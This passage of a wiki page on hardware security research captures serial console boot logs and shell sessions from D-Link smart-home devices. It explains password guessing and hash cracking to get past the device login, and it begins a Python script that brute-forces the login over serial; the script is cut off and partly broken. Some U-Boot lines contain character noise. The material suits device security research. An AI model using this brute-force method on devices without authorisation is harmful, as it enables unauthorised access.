V_MD5Local:       5e0ba8747132524622864a5262a1d50e&lt;br /&gt;
V_BrandStr:        D-Link&lt;br /&gt;
V_ModelStr:        DCH-G020&lt;br /&gt;
V_Connectable:     1&lt;br /&gt;
V_SerVerStr:       1.7.5&lt;br /&gt;
V_SerVerAddr:      http://s3-us-west-2.amazonaws.com/static-us-west.dch.dlink.com/firmware/agent/DCH-G020/D-Link-DCH-G020-1.7.5-AX&lt;br /&gt;
V_WgetVerAddr:     http://api.dch.dlink.com/agent/upgrade?brand=D-Link&amp;amp;model=DCH-G020&amp;amp;hardware_version=A1&amp;amp;ver=&amp;amp;md5=57afa002b23b759e4070403c74f1b5cc&lt;br /&gt;
V_AesEnAddr:       http://api.dch.dlink.com/agent/upgrade?p=ZgiDIrwvluRC0zpQr1K%2B84h7GSf96lTMNfBCwQcGtmt4TvYNU9kkzyW9GCaUafmaDRkYw7YQzDERLNOMaAqWhURPdhlpvQt4smuy3%2FucT4ilPrzhgO26zUagIoarwYhl&amp;amp;iv=ei4ns9CIBPN4oVHJ18PHqw%3D%3D&lt;br /&gt;
V_VerStr:          0.9&lt;br /&gt;
V_MiiiHasVersion:  1&lt;br /&gt;
--2019-04-15 02:08:09--  http://127.0.0.1:5459/ws/api/getVersion&lt;br /&gt;
Connecting to 127.0.0.1:5459... failed: Connection refused.&lt;br /&gt;
br0: port 2(ath0) entering forwarding state&lt;br /&gt;
mlme_create_infra_bss : Overriding HT40 channel with HT20 channel&lt;br /&gt;
--2019-04-15 02:08:11--  http://127.0.0.1:5459/ws/api/getVersion&lt;br /&gt;
Connecting to 127.0.0.1:5459... failed: Connection refused.&lt;br /&gt;
--2019-04-15 02:08:13--  http://127.0.0.1:5459/ws/api/getVersion&lt;br /&gt;
Connecting to 127.0.0.1:5459... failed: Connection refused.&lt;br /&gt;
[  System Message  ]:LAUNCHER PID = 481 .............&lt;br /&gt;
[  System Message  ]:START LINKD WATCHDOG.............&lt;br /&gt;
[  System Message  ]:LINKD &amp;amp;bindStr.............&lt;br /&gt;
[  System Message  ]:Linkd.out isn&#039;t running ,restarting..........&lt;br /&gt;
--2019-04-15 02:08:15--  http://127.0.0.1:5459/ws/api/getVersion&lt;br /&gt;
Connecting to 127.0.0.1:5459... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: unspecified [application/javascript]&lt;br /&gt;
Saving to: `/tmp/getVersion&#039;&lt;br /&gt;
&lt;br /&gt;
    [&amp;lt;=&amp;gt;                                    ] 0           --.-K/s                  [ &amp;lt;=&amp;gt;                                   ] 101         --.-K/s   in 0s      &lt;br /&gt;
&lt;br /&gt;
2019-04-15 02:08:15 (269 KB/s) - `/tmp/getVersion&#039; saved [101]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
starting pid 220, tty &#039;/dev/ttyS0&#039;: &#039;/bin/login&#039;&lt;br /&gt;
DCH-G020 login: root&lt;br /&gt;
Password: &lt;br /&gt;
Login incorrect&lt;br /&gt;
DCH-G020 login: adm&lt;br /&gt;
login: can&#039;t change directory to &#039;/adm&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
BusyBox v1.21.1--LSDK-10.2-00082-4 (2016-06-29 05:45:06 EDT) built-in shell (ash)&lt;br /&gt;
Enter &#039;help&#039; for a list of built-in commands.&lt;br /&gt;
&lt;br /&gt;
/ $ ls&lt;br /&gt;
bin         etc         linuxrc     proc        sys         var         www-ro&lt;br /&gt;
dch         etc-ro      lost+found  root        tmp         version&lt;br /&gt;
dev         lib         mnt         sbin        usr         www&lt;br /&gt;
/ $ a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; D-Link® DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
U-Boot 1.1.4--LSDK-10.1.432 (Apr  8 2014 - 17:07:58)&lt;br /&gt;
&lt;br /&gt;
ap143 - Honey Bee 1.1&lt;br /&gt;
&lt;br /&gt;
DRÁM:  32 MB&lt;br /&gt;
Top of RAM usable for U-Boot atº 8²000000&lt;br /&gt;
Reserving 134k for U-Boot at: 81fdã000&lt;br /&gt;
Reserving 192k for malloc() at: 81fac°00&lt;br /&gt;
Reserving 44 Bytes for Board Info at: ¸1fabfd4&lt;br /&gt;
Reserving 36 Bytes for Global Datá at: 81fabfb0&lt;br /&gt;
Reserving 128k for boot paráms() at: 81f8bfb0&lt;br /&gt;
Stack Pointer at: 81f8bæ98&lt;br /&gt;
Now running in RAM - U-Bïot at: 81fdc000&lt;br /&gt;
============================================&lt;br /&gt;
Date:Apr  8 2014  Timå:17:07:58&lt;br /&gt;
Loader Version: v1.00 Build:±0Moäule Name: DCH-S150&lt;br /&gt;
================½==½==½=====================&lt;br /&gt;
Flash Manuf Id 0xc², DeviceId0 0x20, DeviceId1 0x17&lt;br /&gt;
flash siúe 8MB, sector count = 128&lt;br /&gt;
Flash:  8 MB&lt;br /&gt;
* Scan for Linux kernel images ...&lt;br /&gt;
* Backup mode Linux kernel found at 9F050000&lt;br /&gt;
* Linux kernel found at 9F2B0000&lt;br /&gt;
* Scan completed.&lt;br /&gt;
!!! 1 Backup mode and 1 other Linux kernel images found.&lt;br /&gt;
&lt;br /&gt;
Using default environment&lt;br /&gt;
&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
Net:   ath_gmac_enet_initializå...&lt;br /&gt;
ath_gíac_enet_initialize: reset mask:c02200&lt;br /&gt;
Scorpion ----&amp;gt;S27 PHY*&lt;br /&gt;
S27 reg init&lt;br /&gt;
: cfg1 0x800c0000 ãfg2 0x7114&lt;br /&gt;
eth0: c4:12:f5º1cº8eº4c&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_CONTRÏL ´ :±000&lt;br /&gt;
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 4 :10&lt;br /&gt;
eth0 up&lt;br /&gt;
Honey Bee ----¾  ÍAC 1 S27 PHY *&lt;br /&gt;
S27 reg init&lt;br /&gt;
ATHRS27: resetting s27&lt;br /&gt;
ATHRS27: s27 reset done&lt;br /&gt;
: cfg± 0x800c0000 cfg2 0x7214&lt;br /&gt;
eôh1º c´:12:f5:1c:8e:4c&lt;br /&gt;
athrs27_phy_setup ATHR_PHÙ_CONTROL 0 :1000&lt;br /&gt;
athrs27_phy_setup ATHR_PÈY_SPEC_STAUS 0 :10&lt;br /&gt;
athrs27_phy_setup ATHRßPHY_CONTROL 1 :1000&lt;br /&gt;
athrs27_phy_setup ATHÒ_PHY_SPEC_STAUS 1 :10&lt;br /&gt;
athrs27_phy_setup AÔHR_PHY_CONTROL 2 :1000&lt;br /&gt;
athrs27_phy_setup ÁTHR_PHY_SPEC_STAUS 2 :10&lt;br /&gt;
athrs27_phy_setuð AÔHR_PHY_CONTROL 3 :1000&lt;br /&gt;
athrs27_phy_setõp ÁTHR_PHY_SPEC_STAUS 3 :10&lt;br /&gt;
eth1 up&lt;br /&gt;
eth0, eth1&lt;br /&gt;
Setting 0x±81±62c0 to 0x3061a100&lt;br /&gt;
Hit any keù tï stop autoboot:  2 ��� 1 ��� 0&lt;br /&gt;
## Âooting image at 9f2b0000 ...&lt;br /&gt;
   Imaçe Name:   Linux Kernel Image&lt;br /&gt;
   Creáted:      2018-01-03   8:34:42 UTÃ&lt;br /&gt;
   Émage Type:   MIPS Linux Kernel Imáge (lzma compressed)&lt;br /&gt;
   Data Sizå:    832896 Bytes = 813.4 kB&lt;br /&gt;
   Loaä Address: 80002000&lt;br /&gt;
   Entry Point:  801dc3a0&lt;br /&gt;
   Verifying Checksum at 0x9f²b0040 ...OK&lt;br /&gt;
   Uncompressing Kernel Image .®. OK&lt;br /&gt;
No initrd&lt;br /&gt;
## Transferriîg control to Linux (at address 801dc³a0) ...&lt;br /&gt;
## Giving linux memsize in âytes, 33554432&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
Booting QCA953x&lt;br /&gt;
Linux version 2.6.31 (root@minlee-Mint17) (gcc version 4.3.3 (GCC) ) #1 Wed Jan 3 16:27:59 CST 2018&lt;br /&gt;
flash_size passed from bootloader = 8&lt;br /&gt;
arg 1: console=ttyS0,115200&lt;br /&gt;
arg 2: root=31:08&lt;br /&gt;
arg 3: rootfstype=squashfs&lt;br /&gt;
arg 4: init=/sbin/init&lt;br /&gt;
arg 5: mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(log),896k(bk_uImage),1536k(bk_rootfs),896k(uImage),4032k(rootfs),2432k@0x50000(bk_firmware),4928k@0x2b0000(firmware),512k@0x780000(mydlink)&lt;br /&gt;
arg 6: mem=32M&lt;br /&gt;
CPU revision is: 00019374 (MIPS 24Kc)&lt;br /&gt;
ath_sys_frequency: cpu apb ddr apb cpu 550 ddr 400 ahb 200&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 02000000 @ 00000000 (usable)&lt;br /&gt;
User-defined physical RAM map:&lt;br /&gt;
 memory: 02000000 @ 00000000 (usable)&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00002000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00002000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 8128&lt;br /&gt;
Kernel command line: console=ttyS0,115200 root=31:08 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(log),896k(bk_uImage),1536k(bk_rootfs),896k(uImage),4032k(rootfs),2432k@0x50000(bk_firmware),4928k@0x2b0000(firmware),512k@0x780000(mydlink) mem=32M&lt;br /&gt;
PID hash table entries: 128 (order: 7, 512 bytes)&lt;br /&gt;
Dentry cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Inode-cache hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=00000000&lt;br /&gt;
Readback ErrCtl register=00000000&lt;br /&gt;
Memory: 23812k/32768k available (1912k kernel code, 8956k reserved, 396k data, 116k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
plat_time_init: plat time init done&lt;br /&gt;
Calibrating delay loop... 365.56 BogoMIPS (lpj=731136)&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
&lt;br /&gt;
****************ALLOC***********************&lt;br /&gt;
 Packet mem: 80270600 (0x600000 bytes)&lt;br /&gt;
********************************************&lt;br /&gt;
&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 1024 (order: 1, 8192 bytes)&lt;br /&gt;
TCP bind hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 1024 bind 1024)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
ATH GPIOC major 0&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
JFFS2 version 2.2 (NAND) (ZLIB) (RTIME) (c) 2001-2006 Red Hat, Inc.&lt;br /&gt;
msgmni has been set to 46&lt;br /&gt;
alg: No test for stdrng (krng)&lt;br /&gt;
io scheduler noop registered (default)&lt;br /&gt;
Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled&lt;br /&gt;
serial8250.0: ttyS0 at MMIO 0xb8020000 (irq = 19) is a 16550A&lt;br /&gt;
console [ttyS0] enabled&lt;br /&gt;
loop: module loaded&lt;br /&gt;
12 cmdlinepart partitions found on MTD device ath-nor0&lt;br /&gt;
Creating 12 MTD partitions on &amp;quot;ath-nor0&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000010000 : &amp;quot;u-boot&amp;quot;&lt;br /&gt;
0x000000010000-0x000000020000 : &amp;quot;ART&amp;quot;&lt;br /&gt;
0x000000020000-0x000000030000 : &amp;quot;MP&amp;quot;&lt;br /&gt;
0x000000030000-0x000000040000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x000000040000-0x000000050000 : &amp;quot;log&amp;quot;&lt;br /&gt;
0x000000050000-0x000000130000 : &amp;quot;bk_uImage&amp;quot;&lt;br /&gt;
0x000000130000-0x0000002b0000 : &amp;quot;bk_rootfs&amp;quot;&lt;br /&gt;
0x0000002b0000-0x000000390000 : &amp;quot;uImage&amp;quot;&lt;br /&gt;
0x000000390000-0x000000780000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
0x000000050000-0x0000002b0000 : &amp;quot;bk_firmware&amp;quot;&lt;br /&gt;
0x0000002b0000-0x000000780000 : &amp;quot;firmware&amp;quot;&lt;br /&gt;
0x000000780000-0x000000800000 : &amp;quot;mydlink&amp;quot;&lt;br /&gt;
nf_conntrack version 0.5.0 (512 buckets, 2048 max)&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Bridge firewalling registered&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) RESET_BTN_GPIO: 17, RESET_BTN_TRIGGER_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_BTN_GPIO: 2, WPS_BTN_TRIGGER_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_LED_GPIO: 3, LED_ACTIVE_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) PIR_GPIO: 1, PIR_TRIGGER_LEVEL: 1&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO1: 3, LED_ACTIVE_LEVEL: 0&lt;br /&gt;
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO2: 4&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:8.&lt;br /&gt;
Freeing unused kernel memory: 116k freed&lt;br /&gt;
init started: BusyBox v1.21.1--LSDK-10.1.432 (2018-01-03 16:30:16 CST)&lt;br /&gt;
starting pid 135, tty &#039;&#039;: &#039;/etc/rc.d/rcS&#039;&lt;br /&gt;
QCA953x Watchdog Timer enabled (30 seconds, nowayout)&lt;br /&gt;
&lt;br /&gt;
Please press Enter to activate this console. 128+0 records in&lt;br /&gt;
128+0 records out&lt;br /&gt;
Wed Jan  3 00:00:00 UTC 2018&lt;br /&gt;
[control_center.c] dch mtd found: mtd11&lt;br /&gt;
[control_center.c] kernel jffs2 support detected.&lt;br /&gt;
[control_center.c] mount /dev/mtdblock11 to /dch.&lt;br /&gt;
128+0 records in&lt;br /&gt;
128+0 records out&lt;br /&gt;
qca955x_GMAC: Length per segment 1536&lt;br /&gt;
953x_GMAC: qca953x_gmac_attach&lt;br /&gt;
Link Int Enabled&lt;br /&gt;
qca953x_set_gmac_caps  CHECK DMA STATUS&lt;br /&gt;
mac:0 Registering S27....&lt;br /&gt;
qca955x_GMAC: RX TASKLET - Pkts per Intr:18&lt;br /&gt;
qca955x_GMAC: unit 0 --&amp;gt; c4:12:f5:1c:8e:4c&lt;br /&gt;
asf: module license &#039;Proprietary&#039; taints kernel.&lt;br /&gt;
Disabling lock debugging due to kernel taint&lt;br /&gt;
qca955x_GMAC: Max segments per packet :   1&lt;br /&gt;
qca955x_GMAC: Max tx descriptor count :   512&lt;br /&gt;
qca955x_GMAC: Max rx descriptor count :   128&lt;br /&gt;
qca955x_GMAC: Mac capability flags    :   2581&lt;br /&gt;
953x_GMAC: qca953x_gmac_attach&lt;br /&gt;
Link Int Enabled&lt;br /&gt;
qca953x_set_gmac_caps  CHECK DMA STATUS&lt;br /&gt;
mac:1 Registering S27....&lt;br /&gt;
qca955x_GMAC: RX TASKLET - Pkts per Intr:18&lt;br /&gt;
qca955x_GMAC: unit 1 --&amp;gt; c4:12:f5:1c:8e:4c&lt;br /&gt;
qca955x_GMAC: Max segments per packet :   1&lt;br /&gt;
qca955x_GMAC: Max tx descriptor count :   512&lt;br /&gt;
qca955x_GMAC: Max rx descriptor count :   128&lt;br /&gt;
qca955x_GMAC: Mac capability flags    :   2D81&lt;br /&gt;
ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, 11D)&lt;br /&gt;
ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All Rights Reserved&lt;br /&gt;
ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights Reserved&lt;br /&gt;
brctl: iface ath1: No such device&lt;br /&gt;
athr_gmac_ring_alloc Allocated 8192 at 0x81cb0000&lt;br /&gt;
athr_gmac_ring_alloc Allocated 2048 at 0x81f13800&lt;br /&gt;
HONEYBEE ----&amp;gt; S27 PHY MDIO&lt;br /&gt;
ATHRS27: resetting s27&lt;br /&gt;
ATHRS27: s27 reset done&lt;br /&gt;
Setting Drop CRC Errors, Pause Frames and Length Error frames&lt;br /&gt;
Setting PHY...&lt;br /&gt;
/dev/watchdog device found. Try to launch watchdog daemon.&lt;br /&gt;
ath_ahb: 10.1.478 (Atheros/multi-bss)&lt;br /&gt;
__ath_attach: Set global_scn[0]&lt;br /&gt;
Enterprise mode: 0x03fc0000&lt;br /&gt;
Restoring Cal data from Flash&lt;br /&gt;
Green-AP : Green-AP : Attached&lt;br /&gt;
&lt;br /&gt;
ath_get_caps[5956] rx chainmask mismatch actual 3 sc_chainmak 0&lt;br /&gt;
ath_get_caps[5931] tx chainmask mismatch actual 3 sc_chainmak 0&lt;br /&gt;
ADDRCONF(NETDEV_UP): eth1: link is not ready&lt;br /&gt;
SC Callback Registration for wifi0&lt;br /&gt;
wifi0: Atheros ???: mem=0xb8100000, irq=2&lt;br /&gt;
Invalid command : setVowExt&lt;br /&gt;
VAP device ath1 created&lt;br /&gt;
ath1&lt;br /&gt;
VAP device ath0 created&lt;br /&gt;
ath0&lt;br /&gt;
&lt;br /&gt;
 DES SSID SET=DCH-S150-8E4C&lt;br /&gt;
 ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1&lt;br /&gt;
device ath0 entered promiscuous mode&lt;br /&gt;
 ieee80211_ioctl_siwmode: imr.ifm_active=131200, new mode=2, valid=1&lt;br /&gt;
device ath1 entered promiscuous mode&lt;br /&gt;
Successfully iniieee80211_ioctl_getparam : parameter 0x284 not supported&lt;br /&gt;
tialized wpa_supplicant&lt;br /&gt;
br0: port 2(ath1) entering learning state&lt;br /&gt;
killall: wifi_client_notifier: no process killed&lt;br /&gt;
br0: port 2(ath1) entering forwarding state&lt;br /&gt;
Control Center(169) : Recive a request(211) from 407&lt;br /&gt;
Wireless Center(201) : Recive a request(211) from 169&lt;br /&gt;
Control Center(169) : Recive a request(102) from 407&lt;br /&gt;
Lan Center(199) : Recive a request(102) from 169&lt;br /&gt;
Control Center(169) : Recive a request(409) from 199&lt;br /&gt;
Application Center(203) : Recive a request(409) from 169&lt;br /&gt;
Control Center(169) : Recive a response(409) from 203&lt;br /&gt;
Control Center(169) : Recive a request(410) from 199&lt;br /&gt;
Application Center(203) : Recive a request(410) from 169&lt;br /&gt;
Control Center(169) : Recive a request(414) from 199&lt;br /&gt;
Control Center(169) : Recive a request(8) from 199&lt;br /&gt;
DCHC Center(205) : Recive a request(3008) from 169&lt;br /&gt;
Application Center(203) : Recive a request(414) from 169&lt;br /&gt;
Control Center(169) : Recive a response(410) from 203&lt;br /&gt;
Control Center(169) : Recive a response(3008) from 205&lt;br /&gt;
Failed to kill daemon: No such file or directory&lt;br /&gt;
Lan Center(199) : Recive a response(409) from 169&lt;br /&gt;
Lan Center(199) : Recive a response(410) from 169&lt;br /&gt;
Lan Center(199) : Recive a response(414) from 169&lt;br /&gt;
Lan Center(199) : Recive a response(8) from 169&lt;br /&gt;
Control Center(169) : Recive a request(10) from 199&lt;br /&gt;
Lan Center(199) : Recive a response(10) from 169&lt;br /&gt;
Control Center(169) : Recive a response(102) from 199&lt;br /&gt;
Control Center(169) : Recive a response(414) from 203&lt;br /&gt;
Application Center(203) : Recive a request(424) from 169&lt;br /&gt;
killall: dch_scheduler: no process killed&lt;br /&gt;
Control Center(169) : Recive a response(424) from 203&lt;br /&gt;
Application Center(203) : Recive a request(419) from 169&lt;br /&gt;
killall: you need to specify whom to kill&lt;br /&gt;
Control Center(169) : Recive a response(419) from 203&lt;br /&gt;
Application Center(203) : Recive a request(421) from 169&lt;br /&gt;
killall: chkfwd: no process killed&lt;br /&gt;
Control Center(169) : Recive a response(421) from 203&lt;br /&gt;
Application Center(203) : Recive a request(426) from 169&lt;br /&gt;
killall: linkd: no process killed&lt;br /&gt;
killall: linkd.out: no process killed&lt;br /&gt;
Control Center(169) : Recive a response(426) from 203&lt;br /&gt;
Application Center(203) : Recive a request(417) from 169&lt;br /&gt;
killall: mdns-scan: no process killed&lt;br /&gt;
Control Center(169) : Recive a response(417) from 203&lt;br /&gt;
killall: crond: no process killed&lt;br /&gt;
Jan  3 00:00:24 crond[481]: crond: crond (busybox 1.21.1--LSDK-10.1.432) started, log level 8&lt;br /&gt;
Successfully iniieee80211_ioctl_getparam : parameter 0x284 not supported&lt;br /&gt;
tialized wpa_supplicant&lt;br /&gt;
Control Center(169) : Recive a response(211) from 201&lt;br /&gt;
Configuration fi ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1&lt;br /&gt;
le: /var/etc/oob DEVICE IS DOWN ifname=ath0&lt;br /&gt;
.ap_bss&lt;br /&gt;
 DEVICE IS DOWN ifname=ath0&lt;br /&gt;
ath0: Could not connect to kernel driver&lt;br /&gt;
Using interface ath0 with hwaddr 06:12:f5:1c:8e:4c and ssid &#039;DCH-S150-8E4C&#039;&lt;br /&gt;
br0: port 1(ath0) entering learning state&lt;br /&gt;
br0: port 1(ath0) entering forwarding state&lt;br /&gt;
ath_tx_edma_tasklet: TXQ[3] tailindex 2&lt;br /&gt;
Jan  3 00:01:01 crond[481]: crond: USER root pid 541 cmd dch_scheduler mdns_watchdog&lt;br /&gt;
Jan  3 00:01:01 crond[481]: crond: USER root pid 547 cmd dch_scheduler webserver_watchdog&lt;br /&gt;
Jan  3 00:01:01 crond[481]: crond: USER root pid 553 cmd dch_scheduler ntp_watchdog&lt;br /&gt;
Control Center(169) : Recive a request(418) from 554&lt;br /&gt;
Application Center(203) : Recive a request(418) from 169&lt;br /&gt;
killall: you need to specify whom to kill&lt;br /&gt;
ntp1.dlink.com: Unknown host&lt;br /&gt;
Control Center(169) : Recive a response(418) from 203&lt;br /&gt;
&lt;br /&gt;
starting pid 170, tty &#039;/dev/ttyS0&#039;: &#039;/bin/login&#039;&lt;br /&gt;
MotionSensorDLink login: adm&lt;br /&gt;
&lt;br /&gt;
/ $ ls /bin&lt;br /&gt;
ash            echo           ln             mv             sleep&lt;br /&gt;
busybox        ethreg         login          pidof          stat&lt;br /&gt;
cat            getopt         ls             ping           sync&lt;br /&gt;
chmod          grep           md             ping6          tar&lt;br /&gt;
cp             gzip           mkdir          ps             touch&lt;br /&gt;
date           hostname       mknod          rm             umount&lt;br /&gt;
dd             hush           mm             sed            uname&lt;br /&gt;
df             iperf3         more           setserial      vi&lt;br /&gt;
dnsdomainname  kill           mount          sh&lt;br /&gt;
&lt;br /&gt;
/ $ ls /sbin&lt;br /&gt;
arp           halt          klogd         poweroff      syslogd&lt;br /&gt;
avahi-daemon  ifconfig      logread       reboot        udhcpc&lt;br /&gt;
blkid         init          lsmod         rmmod         zcip&lt;br /&gt;
fdisk         insmod        mdev          route&lt;br /&gt;
&lt;br /&gt;
/ $ ls /usr/sbin&lt;br /&gt;
arping          fping           iwconfig        telnetd       &lt;br /&gt;
brctl           fping6          iwlist          tftpd&lt;br /&gt;
crond           hostapd         iwpriv          udhcpd&lt;br /&gt;
dhcprelay       hostapd_cli     rdate           wd_keepalive&lt;br /&gt;
fakeidentd      inetd           rdev            wpa_cli&lt;br /&gt;
&lt;br /&gt;
/ $ ls /usr/bin&lt;br /&gt;
[                     dumpleases            run_migrate&lt;br /&gt;
[[                    exec_policy_action    scan_network&lt;br /&gt;
aes_alpha             factory_reset         send_dchc_event&lt;br /&gt;
app_center            find                  sqlite3&lt;br /&gt;
bundle_counter        free                  tail&lt;br /&gt;
ccrypt                fw_upgrade            test&lt;br /&gt;
chkfwd                fw_verify             top&lt;br /&gt;
config2flash          head                  tr&lt;br /&gt;
config_header         killall               tty&lt;br /&gt;
control_center        lan_center            update_chome&lt;br /&gt;
cut                   lighttpd              uptime&lt;br /&gt;
dch_scheduler         logger                wc&lt;br /&gt;
dchc_center           lsusb                 wget&lt;br /&gt;
delay_reboot          md5sum                wifi_center&lt;br /&gt;
dirname               mdns-scan             wifi_client_notifier&lt;br /&gt;
dlink_time_sync       nslookup              wlanconfig&lt;br /&gt;
du                    ntpclient             xargs&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Live-Analysis&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The Linux login can be the only challenge with this method by denying access to the live system. Common passwords for root should be tried first, but also other common usernames like admin should be tried. To automate the password guessing process, a simple Python script has been written which performs a wordlist attack over the serial connection. A simplified version of this script can be found below. Alternatively, if the password could not be guessed, the detour can be made via the firmware image, if it is available, either by download or chip extraction. This contains the hashed password, which can subsequently be processed using common password cracking techniques and tools. In this case the system has a password-protected root user, but it also has several other users without passwords that could be used to gain access to the root password hash. Password guessing or cracking is not always necessary, since some devices already offer full access to a root shell without password prompting, and some developers replace the standard Linux login with their own debugging applications. The mentioned Python script is nothing fancy, and, due to the delay in the Linux login process, very slow, but it is quite useful if there is no other way to retrieve the password or its hash more effectively. The script has to be customized for each device, and the corresponding login request messages have to be inserted into the script, which are displayed during the login process. The script scans the output for login requests messages and processes those until the password is found or the word list is finished.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight:bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; bruteforce_unix_login_over_serial.py&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import sys&lt;br /&gt;
import serial&lt;br /&gt;
import time&lt;br /&gt;
from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
# Configuration&lt;br /&gt;
un=&amp;quot;root&amp;quot;&lt;br /&gt;
pw=None&lt;br /&gt;
messages = {&lt;br /&gt;
	&amp;quot;Login:&amp;quot; : sendUN,&lt;br /&gt;
	&amp;quot;Password:&amp;quot; : sendPW,&lt;br /&gt;
	&amp;quot;Login incorrect&amp;quot; : failed,&lt;br /&gt;
	&amp;quot;Other&amp;quot; : enter&lt;br /&gt;
}&lt;br /&gt;
timeout = time.time() + 60&lt;br /&gt;
ser=serial.Serial(&lt;br /&gt;
	port=/dev/ttyAMA0,&lt;br /&gt;
	baudrate=115200,&lt;br /&gt;
	parity=serial.PARITY_NONE,&lt;br /&gt;
	stopbits=serial.STOPBITS_ONE,&lt;br /&gt;
	bytesize=serial.EIGHTBITS,&lt;br /&gt;
	timeout=0.02&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
# Busines logic&lt;br /&gt;
def getMsg():&lt;br /&gt;
	return ser.readline().decode().strip()&lt;br /&gt;
&lt;br /&gt;
def enter():&lt;br /&gt;
	ser.write(str.encode(&amp;quot;\n&amp;quot;))&lt;br /&gt;
	return 0&lt;br /&gt;
&lt;br /&gt;
def sendUN():&lt;br /&gt;
	global un&lt;br /&gt;
	ser.write(str.encode(un+&amp;quot;\n&amp;quot;))&lt;br /&gt;
	return 1&lt;br /&gt;
&lt;br /&gt;
def sendPW():&lt;br /&gt;
	global pw&lt;br /&gt;
